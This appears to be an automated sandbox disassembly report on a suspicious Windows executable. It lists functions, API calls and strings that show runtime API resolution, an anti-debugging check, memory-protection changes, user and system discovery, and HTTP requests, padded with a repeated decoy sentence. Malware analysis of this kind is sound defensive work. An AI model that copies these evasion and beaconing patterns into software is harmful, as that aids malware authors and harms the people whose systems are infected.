lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction ID: 5e1cd967cc1bd71f365b3ff5871be6e8d111942329c8327febd6a33c3aeace51
Opcode Fuzzy Hash: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction Fuzzy Hash: 5841BD79740624EBC718AFE5EC8DB987F70AB4C712BA0C062F90296190C7F9D5019B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,024BC9B0), ref: 004198A1
GetProcAddress.KERNEL32(74DD0000,024BC998), ref: 004198BA
GetProcAddress.KERNEL32(74DD0000,024BC968), ref: 004198D2
GetProcAddress.KERNEL32(74DD0000,024BC8C0), ref: 004198EA
GetProcAddress.KERNEL32(74DD0000,024BCBC0), ref: 00419903
GetProcAddress.KERNEL32(74DD0000,024B6278), ref: 0041991B
GetProcAddress.KERNEL32(74DD0000,024B4D00), ref: 00419933
GetProcAddress.KERNEL32(74DD0000,024B4C40), ref: 0041994C
GetProcAddress.KERNEL32(74DD0000,024BCAE8), ref: 00419964
GetProcAddress.KERNEL32(74DD0000,024BCB00), ref: 0041997C
GetProcAddress.KERNEL32(74DD0000,024BCD28), ref: 00419995
GetProcAddress.KERNEL32(74DD0000,024BCCF8), ref: 004199AD
GetProcAddress.KERNEL32(74DD0000,024B4D80), ref: 004199C5
GetProcAddress.KERNEL32(74DD0000,024BCDD0), ref: 004199DE
GetProcAddress.KERNEL32(74DD0000,024BCC68), ref: 004199F6
GetProcAddress.KERNEL32(74DD0000,024B49C0), ref: 00419A0E
GetProcAddress.KERNEL32(74DD0000,024BCC80), ref: 00419A27
GetProcAddress.KERNEL32(74DD0000,024BCD70), ref: 00419A3F
GetProcAddress.KERNEL32(74DD0000,024B4B80), ref: 00419A57
GetProcAddress.KERNEL32(74DD0000,024BCB90), ref: 00419A70
GetProcAddress.KERNEL32(74DD0000,024B49A0), ref: 00419A88
LoadLibraryA.KERNEL32(024BCC50,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(024BCB18,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(024BCCB0,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(024BCD40,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(024BCCC8,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75A70000,024BCBD8), ref: 00419B02
GetProcAddress.KERNEL32(75290000,024BCD10), ref: 00419B23
GetProcAddress.KERNEL32(75290000,024BCB30), ref: 00419B3B
GetProcAddress.KERNEL32(75BD0000,024BCC98), ref: 00419B5D
GetProcAddress.KERNEL32(75450000,024B4A20), ref: 00419B7E
GetProcAddress.KERNEL32(76E90000,024B63C8), ref: 00419B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,024E9120), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,024ED4F0), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,024ED4D0,?,024ECDB8,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 00404C69
------, xrefs: 004049BD
", xrefs: 00404D33
------, xrefs: 00404B28
", xrefs: 00404BF2

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 14af7d5969852ec007fdeec1facad88a693abf9282d8eb6001c30f70f80f375e
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 14af7d5969852ec007fdeec1facad88a693abf9282d8eb6001c30f70f80f375e
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 004026A0 Relevance: 665.2, APIs: 1, Strings: 378, Instructions: 1905
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
Part of subcall function 004045C0: GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
Part of subcall function 004045C0: RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
Part of subcall function 004045C0: strlen.MSVCRT ref: 004046F0
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775

Part of subcall function 004045C0: lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
Part of subcall function 004045C0: VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

SetFilePointer.KERNEL32 ref: 004029CF

Strings

OTZWKELFM4D1ZX, xrefs: 00402B23
-X66, xrefs: 004043DD
SG&2, xrefs: 004037C1
RNM0ZAE6HYHP, xrefs: 00404261
GGJM290, xrefs: 00403726
UTR4DB7LE2FRRI0UKEDK, xrefs: 00403933
S1AZUJII, xrefs: 004041B2
RGVGD24Q, xrefs: 00403F5A
ZXL5PN064DQ8ZO, xrefs: 00404374
7MQSS2MWXATS3FRX6, xrefs: 00403438
08IYO8CDWND, xrefs: 00403A14
EUUC6LNGEGZJQXPA3QH5AEIPSTB7DD, xrefs: 00403FBE
D0CK0WRX, xrefs: 004035E1
5XG2, xrefs: 00403E47
T2S8GLDOVD4FXA9X7KLFNF3, xrefs: 004033BB
7TBR8JH, xrefs: 004034E7
XI2WPROR, xrefs: 004041E4
LL5JR9YL, xrefs: 0040370D
3-._//1Ef!%<, xrefs: 00404266
JSX, xrefs: 00403A2D
EBPX, xrefs: 0040357D
L7AMS8, xrefs: 0040422F
ASGPUEW0RXRCAZMB2OQ, xrefs: 00403276
5S2QEOJ3W, xrefs: 00403EC4
ORDJ5, xrefs: 004040D1
S36OGS@yq, xrefs: 004034A1
918X, xrefs: 004043F1
m.), xrefs: 004040BD
XQCPOZQO1H7GWN2O7N, xrefs: 0040281C
8IOLCQMIS9YOLR16RM, xrefs: 004030CD
5CQ2IZYDGADG63QP6WV, xrefs: 0040314A
74LF9Y8JS7WAL7JKY3S, xrefs: 00402BB9
WI89JRLXPGZTEL, xrefs: 0040322B
WI7BYXV0EET1YF, xrefs: 00403C21
FOR4R3E8B5JA5BGYXYZG, xrefs: 004030B4
t6;&3;w<U^S, xrefs: 00402BD7
UW0OJZZ8NR7YF6BJ7T57W55, xrefs: 00402803
AAQ76BU4K8P4FZM1LTKUVHFI19BJEERVIFT385GRCLQRNUZE6DGV14C25IG79LZFQ3W9GT3PM3SJ1X4HK7NB864ND07ZZJS1WKAU8Z8NK0I8M3BIO9WB, xrefs: 00403596
CYUNW95OTRJ740KL8, xrefs: 004031C7
